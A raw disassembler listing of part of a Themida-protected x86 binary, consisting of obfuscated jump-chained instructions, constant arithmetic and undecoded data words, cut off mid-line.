loc_56EA4B: ; CODE XREF: Themida_:005604B9j mov edx, esp add edx, 4 push edi push ecx mov ecx, 1F2453FBh jmp loc_56CF1B ; --------------------------------------------------------------------------- db 5Ch dd 56241C89h, 0C681E689h, 4, 3304EE83h, 34312434h, 24343324h dd 2424895Ch, 1C44E9h db 0 ; --------------------------------------------------------------------------- loc_56EA81: ; CODE XREF: Themida_:005682E0j push 2CEAh mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_565DF8 ; --------------------------------------------------------------------------- db 1, 0D8h, 56h dd 0FF4F7CE9h, 668FBEFFh, 0F6815D8Ch, 533630F3h, 5E9F189h dd 8B000068h, 0C4832404h, 64CFE904h, 8B5BFFFFh, 4AE9240Ch dd 29FFFFBBh, 0B4B4E9F7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EADA: ; CODE XREF: Themida_:0056D2CDj sub dword ptr [esp], 1B46F62h sub [esp], ecx add dword ptr [esp], 1B46F62h pop ecx jmp loc_562B49 ; --------------------------------------------------------------------------- loc_56EAF1: ; CODE XREF: Themida_:0056C153j mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_5701B8 ; --------------------------------------------------------------------------- db 40h, 0F7h, 0D0h dd 56B2605h, 58C729B4h, 3C8BFE89h, 0E7895724h, 4BE56h dd 0F7010000h, 4C7815Eh, 57000000h, 42474FFh, 0CD17E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EB42: ; CODE XREF: Themida_:00563827j push dword ptr [esp] jmp loc_56B4B6 ; --------------------------------------------------------------------------- dw 0B353h dd 15EB808Ch, 0E986EB80h, 1820h, 0E959CE21h, 0FFFFF37Dh dd 0B3E9D028h, 83FFFF7Eh, 0E95204C2h, 1EC2h, 28CBBA52h dd 0E2C13A83h, 4298E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EB7E: ; CODE XREF: Themida_:0057458Ej mov [esp], ecx jmp loc_56059D ; --------------------------------------------------------------------------- dw 2C8Bh dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 8108EDC1h dd 153AB2CDh, 2EDC113h, 0DEE1E951h, 0C481FFFFh, 4, 3D968h dd 2D8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56EBBE: ; CODE XREF: Themida_:0056791Fj sub edx, 11401B12h xor edx, 3DCDEB9Ah xor ebx, edx pop edx xor ebx, 6FC50900h xor ebx, 2E7E03CBh mov edx, ebx jmp loc_57398D ; --------------------------------------------------------------------------- dd 0E616EAB8h, 16EEBF72h, 0C73172E6h, 26C58158h, 1457810h dd 26ED81FDh, 0FF457810h, 815F2434h, 4C4h, 4C58300h, 31242C33h dd 2C33242Ch, 0C6E95C24h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EC17: ; CODE XREF: Themida_:00571B71j mov [esp], edx mov edx, esp jmp loc_56C621 ; --------------------------------------------------------------------------- loc_56EC21: ; CODE XREF: Themida_:005609F4j push eax jmp loc_56F773 ; --------------------------------------------------------------------------- db 35h dd 83048248h, 6858C601h, 4F68h, 56243C89h, 0A5E95E54h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EC3F: ; CODE XREF: Themida_:0056F624j push eax jmp loc_56B111 ; --------------------------------------------------------------------------- db 50h, 0B0h, 7Fh dd 282DC580h, 2DED80C5h, 8124048Bh, 4C4h, 62F58000h, 20CEED80h dd 0C3FE59EBh, 0FFB96DE9h, 0E9F7B2FFh, 0FFFFC282h ; --------------------------------------------------------------------------- loc_56EC70: ; CODE XREF: Themida_:00560271j push ecx mov ecx, 1BFF5B5Bh xor [esp+4], ecx pop ecx jmp loc_567A54 ; --------------------------------------------------------------------------- dd 0B850h, 0F8290000h, 24048B97h, 4C481h, 0C7810000h, 5384760Ch dd 717BC781h, 0C381B052h, 371B6D13h, 5769E9h db 0 ; --------------------------------------------------------------------------- loc_56ECA9: ; CODE XREF: Themida_:0056060Aj xchg esi, [esp] pop esp push ecx jmp loc_5679B3 ; --------------------------------------------------------------------------- db 53h dd 74EBDBBh, 0FACB816Bh, 0E91B9046h, 0FFFF418Dh, 875EF701h dd 63E9243Ch, 89FFFFD6h, 672D5BD9h, 0E92BDB49h, 0AD7h dd 4EC835Ch, 54243489h, 4B4AE9h, 5AD12900h, 4186BE56h dd 0BB530794h, 0FFFFFFFFh, 0C15BDE01h, 0D6F707EEh, 0B518BA52h dd 11E9FB36h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56ED0B: ; CODE XREF: Themida_:00574A4Bj pop edx jmp loc_560B6F ; --------------------------------------------------------------------------- db 52h, 0E9h, 5Dh dd 0F6FFFFD0h, 5E2C0DAh, 6EB05066h, 8B66C220h, 0C4832404h dd 0F0E28002h, 0FED7B151h, 0F0C180C9h, 28B6F180h, 25E959CAh dd 8BFFFFF1h, 76E92424h, 5AFFFFE4h, 4C281h, 3CE90000h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56ED53: ; CODE XREF: Themida_:00563718j push ecx push esp mov ecx, [esp] add esp, 4 push edx jmp loc_56EE5F ; --------------------------------------------------------------------------- db 81h, 0CDh, 94h dd 451FDD1Ah, 0ECBED81h, 0CD811DBBh, 27021036h, 2D29B951h dd 0CD313C68h, 0FF9B76E9h, 0EC8156FFh, 4, 0BB241C89h, 296D7EB0h dd 14F38143h, 89332540h, 0F7565BDEh, 348B2414h, 4C48124h dd 81000000h, 0B9057CCEh, 7AEE812Dh, 81EDBFC5h, 6F7547C2h dd 81F2011Eh, 6F7547EAh, 2434FF1Eh, 4C4815Eh, 0E9000000h dd 0FFFFB26Eh, 0CD10D4BBh, 81DBF777h, 217E9BF3h, 37E95143h dd 66FFFFC2h, 59BAE981h, 0A8E98166h, 0F9296634h, 0A8C18166h dd 0C1816634h, 3C8B59BAh, 223EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EE02: ; CODE XREF: Themida_:0056033Aj mov [esp], ebx push esi mov esi, 1E445232h mov ebx, esi pop esi shr ebx, 7 push ebp jmp loc_56363F ; --------------------------------------------------------------------------- db 5Fh dd 4ACBC781h, 5D571BA4h, 6E5C15Fh, 67E95045h, 87000029h dd 55C243Ch, 616D370Eh, 0E2DD829h, 57616D37h, 373768h dd 8731E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EE46: ; CODE XREF: Themida_:00574A6Fj shl ecx, 3 jmp loc_569010 ; --------------------------------------------------------------------------- loc_56EE4E: ; CODE XREF: Themida_:00571E8Cj mov ebp, [esp] push esi mov esi, esp add esi, 4 jmp loc_56731E ; --------------------------------------------------------------------------- loc_56EE5F: ; CODE XREF: Themida_:0056ED5Cj mov edx, 73AB218Eh jmp loc_56CDBD ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0D6010000h, 4C6815Ah, 87000000h, 285C2434h, 6F6866C3h dd 0C896656h, 50BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56EE8A: ; CODE XREF: Themida_:0056C839j jmp loc_55FF9F ; --------------------------------------------------------------------------- db 31h dd 251AE9C5h, 2C89FFFFh, 5E95424h db 8Ah, 2 dup(0FFh) byte_56EE9F db 68h ; DATA XREF: Themida_:0055FE08o dd 3382h, 0BD242C89h, 2B5A6F22h, 41E95350h, 81FFFFDEh dd 2C4h, 0E9A1E900h, 7D05FFFFh, 52783159h, 0C87268BAh dd 376BE952h, 0E9010000h, 68242C8Bh, 0EB7h, 89243489h dd 14F068E6h, 84E90000h, 1FFFFCCh, 8104244Ch, 85042444h dd 596D251Ah, 6824048Fh, 2F53h, 0FF5A04E9h, 242489FFh dd 4240481h, 5F000000h, 7638BD55h, 7E945B6h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EF17: ; CODE XREF: Themida_:0056572Fj sub ebp, 0D9861ADh jmp loc_563CE1 ; --------------------------------------------------------------------------- word_56EF22 dw 248Bh ; DATA XREF: Themida_:0055FF10o dd 1075E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EF2A: ; CODE XREF: Themida_:00569361j mov edx, 0 sub edx, 679C747Ch jmp loc_5601BF ; --------------------------------------------------------------------------- loc_56EF3A: ; CODE XREF: Themida_:0056A877j pop edi xchg eax, [esp] mov esp, [esp] push 20C7h mov [esp], ebx push 5CACh mov [esp], ecx push eax mov ah, dl jmp loc_5671FF ; --------------------------------------------------------------------------- db 29h, 0F5h, 5Eh dd 31242C33h, 2C33242Ch, 24248B24h, 0BD242C89h, 4, 20E9EA29h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EF77: ; CODE XREF: Themida_:00573EDFj xor edx, ebx pop ebx sub edx, 4747672Eh mov esi, edx pop edx jmp loc_574088 ; --------------------------------------------------------------------------- dd 56241C89h, 0B5160BBEh, 5EF38978h, 4D30F381h, 0EB8114F3h dd 0FDFE58D2h, 0FD9BC381h, 836891B7h, 0E9000011h, 0FFFF2A96h dd 0AB5663BAh, 0DC97E91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56EFBA: ; CODE XREF: Themida_:00569E05j sub bl, 70h push dx mov dl, 8Ch add bl, dl pop dx jmp loc_570E67 ; --------------------------------------------------------------------------- dw 34FFh dd 32ACE924h, 0EC83FFFFh, 24248904h, 0FFEF88E9h, 31D531FFh dd 418E9EAh, 0F75D0000h, 0C14A42D2h, 0C28104E2h, 602D6F75h dd 0FF793CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56EFF9: ; CODE XREF: Themida_:00574944j add ebx, edi xor ecx, [ebx] pop ebx push edx push ebp push 6BA333D1h pop ebp sub ebp, 2B146DC0h xor ebp, 393B63DFh jmp loc_567D17 ; --------------------------------------------------------------------------- db 0BAh dd 0CC977E4h, 55AD089h, 1E47DD1Ah, 0FFAE65E9h db 0FFh byte_56F029 db 66h, 31h, 2Ch ; DATA XREF: Themida_:0055FF18o dd 2C336624h, 2C316624h, 66556624h, 66692B68h, 66241C89h dd 665B665Dh, 66445668h, 0E9241C89h, 0FFFF27D6h, 3D20BE56h dd 0D6F7703Eh, 9EC68146h, 811EAC73h, 992F53CEh, 85C68164h dd 291100C0h, 1C875EF3h, 0CB84E924h, 0ACBBFFFFh, 0E95E6776h dd 0FFFF9F03h, 0CCE814Eh, 0E936AF75h, 0FFFF13E3h, 57243489h dd 0B1319BBFh, 0B850533Bh, 73731516h, 0C3E9C389h, 8100004Dh dd 0CBE5A1C1h, 8BC1310Ch, 0C4832404h, 59CF2904h, 0FF274DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56F0B9: ; CODE XREF: Themida_:0056750Bj push ecx pop ebx pop ecx dec ebx sub ebx, 499B3488h xor ebx, 4A1015CCh push ebp sub esp, 4 mov [esp], esi mov esi, 4B62424Ch mov ebp, 7829B116h jmp loc_56FD40 ; --------------------------------------------------------------------------- loc_56F0E2: ; CODE XREF: Themida_:0056BB0Cj mov dh, cl mov bh, dh jmp loc_5609AC ; --------------------------------------------------------------------------- align 4 dd 665966E8h, 8324148Bh, 0EC8302C4h, 242C8904h, 0C581E589h dd 4, 0E904EC83h, 0FFFF1ED3h, 685Ch, 34FF0000h, 241C8B24h dd 0C0E1E957h, 1C87FFFFh, 14895C24h, 53E28924h, 4BBh, 6717E900h dd 0E95CFFFFh, 0FFFF5C0Dh, 104C483h, 0F9E95FFBh, 68FFFFBEh dd 7B4B7CD1h, 0E334E959h, 3487FFFFh, 5A81E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56F156: ; CODE XREF: Themida_:00567879j push dword ptr [esp] pop ecx push 11E1h mov [esp], ecx sub esp, 4 mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop ecx add ecx, 4 push 76F7h jmp loc_5608DA ; --------------------------------------------------------------------------- db 8Bh dd 9DE92424h, 89FFFFEEh, 59BF243Ch, 2909CD09h, 1A685FFAh dd 0E900005Ch, 37Ch, 0FF0DF6E9h, 5EF301FFh, 1640E9h db 0 ; --------------------------------------------------------------------------- loc_56F1B1: ; CODE XREF: Themida_:00571A27j xchg ebp, [esp] pop esp mov [esp], edi push 4000h pop edi and eax, edi push dword ptr [esp] mov edi, [esp] push ebp push esp pop ebp push eax jmp loc_565734 ; --------------------------------------------------------------------------- loc_56F1CF: ; CODE XREF: Themida_:0057222Bj sub eax, edi sub eax, 7AEA6268h jmp loc_575031 ; --------------------------------------------------------------------------- db 55h dd 0FF3BE5E9h db 0FFh ; --------------------------------------------------------------------------- loc_56F1E1: ; CODE XREF: Themida_:005708BCj mov edi, [esp] jmp loc_5749FD ; --------------------------------------------------------------------------- db 1, 0D1h, 0E9h dd 0FFFF53B0h, 3D46BD55h, 4FE9760Bh, 66FFFF7Dh, 0DC80E95Ah dd 148BFFFFh, 5A545224h, 4C281h, 0C2830000h, 24148704h dd 0B850565Ch, 2CC13FBAh, 0F706E0C1h, 3DC62DD8h, 60E9729Dh db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F22B: ; CODE XREF: Themida_:0056DAADj push esp jmp loc_569DD2 ; --------------------------------------------------------------------------- loc_56F231: ; CODE XREF: Themida_:00560FACj not dword ptr [esp] jmp loc_569FB0 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 0E9000000h, 0FFFFDD4Ch, 79E9F588h, 100000Ah, 0D0295FF8h dd 0F805012Dh, 0EDE95A1Dh, 1FFFF91h, 50535EF5h, 0FFF258E9h dd 24248BFFh, 4B12E9h db 0 ; --------------------------------------------------------------------------- loc_56F26D: ; CODE XREF: Themida_:00573D5Bj add ebx, ebp add ebx, 499E6BF9h add ebx, 1D4275CDh add ebx, 502F1CDEh jmp loc_568808 ; --------------------------------------------------------------------------- dw 2C87h dd 4EC8124h, 0E9000000h, 0FFFFC512h, 1C8BF830h, 0E597E924h dd 4481FFFFh, 345C0824h, 0E9596D49h, 0FFFF0FEAh, 0C480E730h dd 81D4F6FFh, 2ECh, 14896600h, 38A96824h, 0C890000h, 88E58824h dd 505259EEh, 0C288F888h, 5AD48858h, 81F18851h, 4ECh, 24148900h dd 8851CA88h, 2CA8E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56F2EA: ; CODE XREF: Themida_:0056E47Aj push edx jmp loc_573D30 ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 0CF58100h, 0E9582000h, 0FFFF427Fh dd 8B2434FFh, 0C481240Ch, 4, 0E9E28952h, 0FFFFCDC4h, 7BF7814Fh dd 8101732Ch, 0D34262F7h, 5FFD0159h, 74FF555Fh, 1E90424h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F333: ; CODE XREF: Themida_:00560051j add eax, 0B9C1BC92h add ebp, eax pop eax sub ebp, 4 jmp loc_5749EE ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF0C57h, 6624248Bh, 9C242CD3h, 0FF0C4AE9h, 5AD601FFh dd 8B243487h, 64682424h, 89000028h, 1768241Ch, 8900006Ah dd 12B9240Ch, 4965577Fh, 0FFA56EE9h db 0FFh ; --------------------------------------------------------------------------- loc_56F379: ; CODE XREF: Themida_:00571245j pop edx jmp loc_568A5E ; --------------------------------------------------------------------------- db 5Ah dd 685EF709h, 10B4h, 0BB241C89h, 539B409Ch, 0FF93EBE9h dd 0D4B1FFh, 6375E9CBh, 0F581FFFFh, 6341375Eh, 20E58145h dd 0F73D9948h, 73FAE9DDh db 2 dup(0FFh) word_56F3B2 dw 8B66h ; DATA XREF: Themida_:0055FEB0o dd 70E9240Ch, 88000029h, 0F58851E6h, 5A59EB88h, 582434FFh dd 8B04C483h, 0B268240Ch, 8900005Ah, 5A542414h, 4C281h dd 0C2810000h, 4, 0E9241487h, 51E3h ; --------------------------------------------------------------------------- loc_56F3EC: ; CODE XREF: Themida_:0056B537j push edi mov edi, 43492386h and ecx, edi jmp loc_574716 ; --------------------------------------------------------------------------- db 0E9h, 0A1h, 0Bh dd 0D5F7FFFFh, 4EC81h, 5CE90000h, 81FFFF8Bh, 0EE2C51E5h dd 275AE90Ah, 0E089FFFFh, 405h, 4C08300h, 31240433h, 4332404h dd 0A685C24h, 8900005Bh, 0F7BF243Ch, 813D225Ah, 0F45FBCE7h dd 9C78159h, 0E9116033h, 0FFFFE113h, 5658C331h, 5E4AEFBEh dd 0E857E953h, 1C89FFFFh, 5E8BBB24h, 44811872h, 6EF60424h dd 5C01247Ah, 6C810424h, 6EF60424h, 815B247Ah, 74ED2404h dd 0DC6820CDh, 89000046h, 0E9BE2434h, 0E948EF75h, 0FFFF5440h ; --------------------------------------------------------------------------- loc_56F48C: ; CODE XREF: Themida_:00571149j pop eax add esi, edx mov edx, [esp] push eax jmp loc_56FB1B ; --------------------------------------------------------------------------- dd 4BDh, 5DEF0100h, 8B243C87h, 89502424h, 405E0h, 77E90000h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F4B3: ; CODE XREF: Themida_:00563B70j mov edi, [esp] jmp loc_56F837 ; --------------------------------------------------------------------------- db 5Eh dd 4EC81h, 14890000h, 4BA24h, 0D0010000h, 8324148Bh, 7DE904C4h db 2Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F4D7: ; CODE XREF: Themida_:005605F0j add edx, edi jmp loc_567510 ; --------------------------------------------------------------------------- dw 34FFh dd 0E9515824h, 0FFFF25F0h ; --------------------------------------------------------------------------- loc_56F4E8: ; CODE XREF: Themida_:0056B9D9j mov ebx, 4 jmp loc_575350 ; --------------------------------------------------------------------------- dw 895Ch dd 69682404h, 0FF135101h, 34FF2434h, 26E95824h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F507: ; CODE XREF: Themida_:00571239j shl eax, 5 jmp loc_56DB7E ; --------------------------------------------------------------------------- loc_56F50F: ; CODE XREF: Themida_:0056C1B4j sub ebp, 40300041h pop esi push 7F0h jmp loc_56A647 ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFFD705h, 4C0835Dh, 8904EC83h, 74FF2404h dd 48B0424h, 4C48324h, 8B24048Fh, 0C4812424h, 4, 1A84E9h dd 40E95F00h, 88000034h, 2D9FE9C8h, 0C801FFFFh, 194F7905h dd 5C84E904h, 895C0000h, 4832424h, 0B9E90424h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F573: ; CODE XREF: Themida_:00563226j or ebp, 248A0E40h add ebp, 0F7DAEC4Ch mov ecx, ebp mov ebp, [esp] add esp, 4 sub edx, ecx mov ecx, [esp] jmp loc_56D6ED ; --------------------------------------------------------------------------- loc_56F591: ; CODE XREF: Themida_:0056B71Aj xor ecx, 0A9F8BD1Eh jmp loc_5639A2 ; --------------------------------------------------------------------------- dd 0E1A15BAh, 0A012E96Ch, 34FFFFFFh, 4383E924h, 48FFFFFh dd 2E685C24h, 8900002Ch, 0EC81241Ch, 4, 68242C89h, 31DEh dd 68241C89h, 7F0D5BEEh, 0D3E3815Bh, 5165D627h, 0FF45C0E9h dd 242C31FFh, 8B242C33h, 34FF2424h, 24048B24h, 6804C483h dd 1B8h, 89240C89h, 0CE953E1h, 81FFFFE8h, 4C1h, 4C18100h dd 87000000h, 248B240Ch, 4EC8124h, 89000000h, 0D1E92404h db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F61F: ; CODE XREF: Themida_:005710DCj mov ebp, 0C12CE63Ah jmp loc_56EC3F ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF2389E9h, 40558FFh, 83000000h, 0FF5004C0h, 58042474h dd 5C24048Fh, 0FF0956E9h, 4C642DFFh, 15B7892h, 7B372DF8h dd 16E91AB5h, 52FFFFD1h, 0A6CC3BAh, 81DAF728h, 866E65CAh dd 81D2F738h, 0F7FF82C2h, 5AD629FFh, 2474FF56h, 48F5E04h dd 0C895C24h, 2474FF24h, 48F5904h, 0D7F65C24h, 32243C30h dd 3C30243Ch, 905E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F69A: ; CODE XREF: Themida_:005706B0j mov eax, edi mov edi, [esp] add esp, 4 add edi, eax pop eax push edi push dword ptr [esp+4] mov edi, [esp] jmp loc_56521C ; --------------------------------------------------------------------------- loc_56F6B2: ; CODE XREF: Themida_:0056450Dj mov esp, [esp] bts [esp], ax pushf jmp loc_565FCB ; --------------------------------------------------------------------------- dd 504C483h, 4, 4C20E9h, 66D83000h, 3E13E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F6D6: ; CODE XREF: Themida_:00562718j sub ebp, eax add ebp, 43E275E8h pop eax shl ebp, 2 push edx push 78185B51h pop edx shl edx, 8 neg edx sub edx, 79F0B81h shl edx, 1 push esi mov esi, 63030173h sub esi, 556B1525h inc esi jmp loc_566BA5 ; --------------------------------------------------------------------------- dd 6F3F2725h, 3C44E91Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F712: ; CODE XREF: Themida_:00570C3Dj push esi jmp loc_56E6D3 ; --------------------------------------------------------------------------- dd 2C5815Ch, 33000000h, 2C31242Ch, 242C3324h, 0B30F665Ch dd 0E99C2404h, 0FFFF086Bh, 0DF055D5Ah, 10BBB79h, 0A2B951C8h dd 81029F43h, 243A7DF1h, 59C82909h, 8B2434FFh, 0C483240Ch dd 4C48104h, 52000000h, 0FF7EFDE9h, 0E9C141FFh, 3E9C105h dd 0FF3FD7E9h, 0CDE952FFh db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_56F773: ; CODE XREF: Themida_:0056EC22j mov eax, 23356285h and eax, 1E9027B9h jmp loc_5738F4 ; --------------------------------------------------------------------------- word_56F782 dw 34FFh ; DATA XREF: Themida_:0055FD0Co dd 2434FF24h, 0E92434FFh, 0FFFF9232h ; --------------------------------------------------------------------------- loc_56F790: ; CODE XREF: Themida_:00566CA7j mov [esp], eax mov eax, 32144BDh add eax, 53F178DDh sub eax, 29FD0553h shr eax, 8 dec eax jmp loc_568F6A ; --------------------------------------------------------------------------- db 0FFh a4S db '4$é,',0Dh,0 dw 2900h dd 496705C8h, 52592BDBh, 0F031C2BAh, 43E2816Ah, 0E9187E35h dd 0FFFF60A9h, 0E9243489h, 0FFFFAAF7h, 0C245DB0h, 0E8C0712Ch dd 34323402h, 58C7884Eh, 2454F653h, 0EFC05B01h, 10F9E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F7F2: ; CODE XREF: Themida_:00570F88j push esi push 19C82140h pop esi jmp loc_563388 ; --------------------------------------------------------------------------- dw 34FFh dd 0B549E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F806: ; CODE XREF: Themida_:00564E31j add esp, 4 and eax, ecx push dword ptr [esp] jmp loc_560562 ; --------------------------------------------------------------------------- dw 0C601h dd 6C72BD55h, 31E94881h db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F823: ; CODE XREF: Themida_:0056AF0Fj push 7AB4h mov [esp], edx mov edx, 49986FD6h mov ebx, edx jmp loc_56A223 ; --------------------------------------------------------------------------- loc_56F837: ; CODE XREF: Themida_:0056F4B6j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add edi, 4 jmp loc_56739E ; --------------------------------------------------------------------------- loc_56F851: ; CODE XREF: Themida_:0056DDC0j not ecx jmp loc_574FBC ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFF1096h, 0F6F08659h, 81F086D6h, 4ECh dd 240C8900h, 0E9C38853h, 0FFFFBE2Dh, 3E7F42BFh, 9F7EE908h dd 0C483FFFFh, 74FF5704h, 3C8B0424h, 2DE95024h db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F893: ; CODE XREF: Themida_:00566F98j pop eax push 4B64h mov [esp], ebx mov ebx, 262826CAh not ebx shl ebx, 3 jmp loc_574F1E ; --------------------------------------------------------------------------- db 33h dd 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFFC96Dh ; --------------------------------------------------------------------------- loc_56F8BC: ; CODE XREF: Themida_:00563ADAj sub ebx, 262772EAh add ebx, eax jmp loc_5736C7 ; --------------------------------------------------------------------------- loc_56F8C9: ; CODE XREF: Themida_:00561DEBj add edx, ebx mov ebx, [esp] jmp loc_57000B ; --------------------------------------------------------------------------- loc_56F8D3: ; CODE XREF: Themida_:005690D0j push edi jmp loc_57301E ; --------------------------------------------------------------------------- loc_56F8D9: ; CODE XREF: Themida_:00572CBFj add ebx, edi jmp loc_570D80 ; --------------------------------------------------------------------------- dd 2A04C181h, 0EF812223h, 47204D44h, 0C781CF01h, 47204D44h dd 4C78359h, 31243C33h, 17E9243Ch db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F903: ; CODE XREF: Themida_:00571B08j xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h db 0C3h byte_56F90D db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055FCBCo aHG db '$h=g',0 align 2 dw 1489h dd 0AF02E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F91E: ; CODE XREF: Themida_:00564959j mov edi, 4 jmp loc_561E44 ; --------------------------------------------------------------------------- loc_56F928: ; CODE XREF: Themida_:0056BD99j shl ebx, 6 sub ebx, 0F0950A44h sub esi, ebx pop ebx push edi mov edi, 2D4E773Eh jmp loc_561D50 ; --------------------------------------------------------------------------- loc_56F93F: ; CODE XREF: Themida_:0056BA51j add edi, 3B7B7B97h mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push eax push edi sub esp, 4 jmp loc_56D973 ; --------------------------------------------------------------------------- dd 3304EF83h, 3C31243Ch, 243C3324h, 241C895Ch, 0FC0204BBh dd 0B3DBE905h, 0BA52FFFFh, 57AC6889h, 814AD2F7h, 896A5CEAh dd 0EEA8109h, 0F76AD966h, 0BAEA81D2h, 89A5F5BCh, 0E9315AD1h dd 0FF63A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_56F9A9: ; CODE XREF: Themida_:00560408j mov esp, [esp] mov [esp], ax jmp loc_55FF9F ; --------------------------------------------------------------------------- loc_56F9B5: ; CODE XREF: Themida_:0056A0F0j not edi sub edi, 0FFFFD7D3h add esi, edi jmp loc_56394B ; --------------------------------------------------------------------------- dd 6850FB01h, 376552A4h, 3DCBE9h db 0 ; --------------------------------------------------------------------------- loc_56F9D1: ; CODE XREF: Themida_:005633FDj add edi, ecx sub edi, 5B97AE9h pop ecx sub edi, 1 sub edi, 1 xchg edx, edi not edx xchg edx, edi shr edi, 3 sub esp, 4 mov [esp], eax mov eax, 4D16729Eh shr eax, 5 push ebp mov ebp, 0C42129Dh xor eax, ebp jmp loc_56690B ; --------------------------------------------------------------------------- db 83h dd 43302C0h, 24043124h, 21C3E9h db 0 ; --------------------------------------------------------------------------- loc_56FA15: ; CODE XREF: Themida_:0055FFA2j push ebx mov bl, 1Dh sub bl, 4 shl bl, 6 jmp loc_56E63B ; --------------------------------------------------------------------------- db 89h dd 0B95158C3h, 59C40C67h, 16EEF181h, 0C9817ADCh, 72EE77B9h dd 0C383D987h, 0E9D987FFh, 2621h dword_56FA44 dd 240C8B66h, 74EA68h, 240C8900h, 0E8685954h, 0E9000051h ; DATA XREF: Themida_:0055FF28o dd 0FFFFC830h, 4C681h, 34330000h, 24343124h, 8B243433h dd 89562424h, 21B6E9E6h, 0C330FFFFh, 0C9CE9h, 4C18100h dd 81000000h, 4E9h, 240C8700h, 2414895Ch, 2B850h, 0C2890000h dd 0E924048Bh, 0FFFF3B72h, 80FCCC80h, 0E128F1F4h, 67BDE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FAAE: ; CODE XREF: Themida_:00568547j mov esp, [esp] mov [esp], ebx jmp loc_561DDC ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 4EC81h, 24890000h, 0F7BD5524h, 4D5A683Ah, 0FF1B21E9h dd 6CE1BEFFh, 0CBE935F3h, 89000024h, 0C85CE9E0h, 8953FFFFh dd 5BDD89D3h, 59CD295Ah, 8904EC83h, 9AE92414h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FAF7: ; CODE XREF: Themida_:00568031j push esi jmp loc_568C62 ; --------------------------------------------------------------------------- loc_56FAFD: ; CODE XREF: Themida_:00560132j add ecx, 1A65219Ch pop ebx sub esp, 4 jmp loc_564A49 ; --------------------------------------------------------------------------- dd 41A0EA81h, 34FF05A6h, 3E95D24h db 47h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FB1B: ; CODE XREF: Themida_:0056F493j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edx mov edx, 2189308Ch jmp loc_5640D6 ; --------------------------------------------------------------------------- loc_56FB34: ; CODE XREF: Themida_:00563861j sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx jmp loc_569AB3 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF0457h, 54240C89h, 352E9h db 0 ; --------------------------------------------------------------------------- loc_56FB51: ; CODE XREF: Themida_:005669ECj pop esi add edx, edi jmp loc_5609A1 ; --------------------------------------------------------------------------- loc_56FB59: ; CODE XREF: Themida_:00570C28j add edi, ebp jmp loc_567152 ; --------------------------------------------------------------------------- dd 0BD242C89h, 0F7C3FB2h, 3FB6F581h, 0EE810F7Ch, 7C0B13F5h dd 0DAE9EE01h, 5DFFFFA8h, 815DE831h, 0AF1E19EDh, 0A0A5E94Ch dd 0BD55FFFFh, 78EB7961h, 0FF62A3E9h, 4C483FFh, 0C159CE31h dd 0E6C106EEh, 0C4B85004h, 1E4CF74h, 